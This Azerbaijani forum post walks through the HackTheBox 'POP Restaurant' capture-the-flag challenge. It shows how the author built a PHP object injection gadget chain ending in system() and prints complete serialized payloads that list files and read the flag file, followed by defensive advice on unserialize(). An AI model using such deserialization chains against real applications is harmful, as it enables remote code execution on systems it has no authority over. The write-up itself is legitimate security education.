0703155507
info@sina.az
Azerbaijani flag
Azerbaijani
Dil seçin
Azerbaijani flag
Azerbaijani
English flag
English
0
Sina Forum HackTheBox

POP Restaurant Challenge

KiberKod MMC
KiberKod MMC
1/04/2025 00:39
0 Paylaşımlar
0 Aktiv Üzvlər
KiberKod MMC

KiberKod MMC

Forumların Ən Yaxşı İstifadəçisi
Sadiq İstifadəçi
Sadiq İstifadəçi
Forumların Yaxşı İstifadəçisi
Paylaşımlar: 9
Bəyənmələr: 6
İzləyicilər: 33
Üzvlük Tarixi: 21/10/2024

Bu məqalədə HTB (Hack The Box) POP Restaurant Challenge tapşırığını necə həll edəcəyimizi ətraflı izah edəcəyik. Məsələ, PHP Object Injection (POP) zafiyətindən istifadə edərək sistemdə kod icra etməyə əsaslanır.


Buradan Baxa bilərsiniz


 

 

İlkin kəşfiyyat

İlk addım olaraq, vebsaytı yoxlamağa başladım. Saytda qeydiyyat və giriş formaları var idi:

Saytda qeydiyyatdan keçdikdən sonra order.php səhifəsinə keçid əldə etdim.

Burada yemək sifarişi vermək mümkün idi.






Sifariş prosesi zamanı HTTP sorğusunu ələ keçirdim və ötürülən məlumatları analiz etməyə başladım.

Sorğunu araşdırarkən seriyalaşdırılmış bir obyekt aşkar etdim. Onu Base64 kodlamasından çıxartdıqda aşağıdakı nəticəni əldə etdim:

 

O:5:”Pizza”:3:{s:5:”price”;N;s:6:”cheese”;N;s:4:”size”;N;}

 

Bu məlumat PHP obyektinin seriyalaşdırılmış formasını göstərir. Gördüyümüz kimi, bu Pizza obyektinin üç xüsusiyyəti var: price, cheese və size. Lakin onların hamısı NULL (N) olaraq təyin edilib.

Bundan sonra, mənbə kodunu analiz edərək obyektlər arasındakı əlaqəni başa düşməyə çalışdım…

 

PHP Object Injection nədir?

PHP Object Injection, unserialize() funksiyasının istifadə edildiyi zaman zafiyyətə səbəb ola biləcək bir hücum növüdür. Əgər istifadəçi tərəfindən göndərilən məlumatı unserialize() funksiyasına ötürsək və bu məlumat zərərli obyektlər ehtiva edərsə, o zaman hücumçu serverdə istədiyi kodu icra edə bilər.

Verilən mənbə kodunun analizi

Bizə aşağıdakı dörd PHP sinfi verilib:

Pizza – __destruct() metodu size->what-ı çağırır.

Spaghetti – __get() metodu $this->sauce-u icra edir.

IceCream – __invoke() metodu $this->flavors-u iterasiya edib icra edir.

ArrayHelpers – current() metodu call_user_func($this->callback, $value) vasitəsilə PHP sistem funksiyalarını çağırmağa imkan yaradır.

Kod analiz etdikdə görürük ki, bu siniflər birlikdə təhlükəli bir POP (Property Oriented Programming) chain yarada bilər.

Hücum Zəncirinin Qurulması

Məqsədimiz PHP-nin system() funksiyasını çağıraraq əmrləri icra etməkdir. Bunu əldə etmək üçün obyektlər arasında bir əlaqə qurmalıyıq:

1. ArrayHelpers Sinfi ilə system() Çağırmaq

$ArrayHelpers = new ArrayHelpers(['ls']); $ArrayHelpers->callback = 'system';

Burada system("ls") əmri çağırılacaq.

2. IceCream Sinfi ilə Tətikləmək

$IceCream = new IceCream(); $IceCream->flavors = $ArrayHelpers;

IceCream sinfi $this->flavors-u iterasiya edərək icra edəcək.

3. Spaghetti Sinfi ilə Get Methodunu Çağırmaq

$Spaghetti = new Spaghetti(); $Spaghetti->sauce = $IceCream;

Spaghetti sinfi __get() metodundan istifadə edərək sauce-u icra edəcək.

4. Pizza Sinfi ilə Destruct Çağırmaq

$Pizza = new Pizza(); $Pizza->size = $Spaghetti;

Pizza sinfi __destruct() metodunu çağırdıqda zəncir tamamlanacaq.

Final Eksploit

Bütün obyektlər yaradıldıqdan sonra bu obyektləri serializasiya edirik:

$exploit = serialize($Pizza); echo $exploit;

Bu serialized stringi zafiyyətli unserialize() funksiyasına göndərsək, sistem system("ls") əmri icra edəcək və serverdəki faylları göstərəcək.

Bayrağı Əldə Etmək

Əgər serverdə flag faylı mövcuddursa, aşağıdakı əmri icra edərək bayrağı əldə edə bilərik:

$ArrayHelpers = new ArrayHelpers(['cat /pBhfMBQlu9uT_flag.txt']); $ArrayHelpers->callback = 'system';

Bununla system("cat /pBhfMBQlu9uT_flag.txt") işləyəcək və bayraq terminalda görünəcək. 🎉

 

O:5:"Pizza":3:{s:5:"price";N;s:6:"cheese";N;s:4:"size";O:9:"Spaghetti":3:{s:5:"sauce";O:8:"IceCream":2:{s:7:"flavors";O:21:"\Helpers\ArrayHelpers":4:{i:0;i:0;i:1;a:1:{i:0;s:3:"dir";}i:2;a:1:{s:8:"callback";s:6:"system";}i:3;N;}s:7:"topping";N;}s:7:"noodles";N;s:7:"portion";N;}}

 

O:5:"Pizza":3:{s:5:"price";N;s:6:"cheese";N;s:4:"size";O:9:"Spaghetti":3:{s:5:"sauce";O:8:"IceCream":2:{s:7:"flavors";O:21:"\Helpers\ArrayHelpers":4:{i:0;i:0;i:1;a:1:{i:0;s:26:"cat /pBhfMBQlu9uT_flag.txt";}i:2;a:1:{s:8:"callback";s:6:"system";}i:3;N;}s:7:"topping";N;}s:7:"noodles";N;s:7:"portion";N;}}

 



Təhlükəsizlik və Qorunma Yolları

Bu cür hücumların qarşısını almaq üçün:

unserialize() funksiyasını birbaşa istifadə etməyin! Bunun əvəzinə json_encode() və json_decode() istifadə edin.

unserialize() istifadə etməlisinizsə, allowed_classes-ı false edin:

  • unserialize($data, ['allowed_classes' => false]);

Kodlarınızdakı  metodları (__wakeup(), __destruct(), __get(), __invoke()) nəzərdən keçirin və təhlükəsizliyinizi təmin edin.

Nəticə

Beləliklə, POP Restaurant Challenge tapşırığını həll etdik! Bu hücum metodları real dünyada PHP tətbiqlərində hələ də rast gəlinir və təhlükəli ola bilər. Gələcəkdə daha mürəkkəb zafiyyətlər üzərində çalışaraq bu bilikləri dərinləşdirə bilərik.

Nəhayət, bayrağı tutana kimi davam! 🚀🎯

 

1/04/2025 | 00:39
1 Bəyənmələr

Cavab vermək üçün daxil olun

Bu mövzuya cavab vermək üçün zəhmət olmasa daxil olun.

Daxil ol